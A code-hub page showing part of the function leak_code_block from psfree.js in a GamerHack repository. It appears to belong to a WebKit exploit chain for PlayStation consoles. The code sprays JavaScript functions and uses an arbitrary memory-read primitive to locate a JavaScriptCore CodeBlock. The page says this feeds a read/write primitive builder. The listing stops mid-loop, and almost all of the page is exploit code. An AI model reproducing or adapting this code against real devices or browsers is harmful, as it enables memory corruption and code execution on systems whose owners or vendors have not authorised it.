MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / leak_code_block

Function leak_code_block

g2all/700/psfree.js:489–585  ·  view source on GitHub ↗
(reader, bt_size)

Source from the content-addressed store, hash-verified

487})();
488
489async function leak_code_block(reader, bt_size) {
490 const rdr = reader;
491 const bt = [];
492 // take into account the cell and indexing header of the immutable
493 // butterfly
494 for (let i = 0; i < bt_size - 0x10; i += 8) {
495 bt.push(i);
496 }
497
498 // cache the global variable resolution
499 const slen = ssv_len;
500
501 const bt_part = `var bt = [${bt}];\nreturn bt;\n`;
502 const part = bt_part + src_part;
503 const cache = [];
504 for (let i = 0; i < num_leaks; i++) {
505 cache.push(part + `var idx = ${i};\nidx\`foo\`;`);
506 }
507
508 const chunkSize = is_ps4 && version < 0x900 ? 128 * KB : 1 * MB;
509 const smallPageSize = 4 * KB;
510 const search_addr = align(rdr.m_data, chunkSize);
511 log(`search addr: ${search_addr}`);
512
513 log(`func_src:\n${cache[0]}\nfunc_src end`);
514 log("start find CodeBlock");
515 let winning_off = null;
516 let winning_idx = null;
517 let winning_f = null;
518 let find_cb_loop = 0;
519 // false positives
520 let fp = 0;
521 rdr.set_addr(search_addr);
522 loop: while (true) {
523 const funcs = [];
524 for (let i = 0; i < num_leaks; i++) {
525 const f = Function(cache[i]);
526 // the first call allocates the CodeBlock
527 f();
528 funcs.push(f);
529 }
530
531 for (let p = 0; p < chunkSize; p += smallPageSize) {
532 for (let i = p; i < p + smallPageSize; i += slen) {
533 if (rdr.read32_at(i + 8) !== 0x11223344) {
534 continue;
535 }
536
537 rdr.set_addr(rdr.read64_at(i + strs_offset));
538 const m_type = rdr.read8_at(5);
539 // make sure we're not reading the constant registers of an
540 // UnlinkedCodeBlock. those have JSTemplateObjectDescriptors.
541 // CodeBlock converts those to JSArrays
542 if (m_type !== 0) {
543 rdr.set_addr(search_addr);
544 winning_off = i;
545 winning_idx = rdr.read32_at(i + idx_offset);
546 winning_f = funcs[winning_idx];

Callers 1

make_arwFunction · 0.70

Calls 10

alignFunction · 0.90
logFunction · 0.90
sleepFunction · 0.90
hexFunction · 0.90
gcFunction · 0.70
set_addrMethod · 0.45
read32_atMethod · 0.45
read64_atMethod · 0.45
read8_atMethod · 0.45
addMethod · 0.45

Tested by

no test coverage detected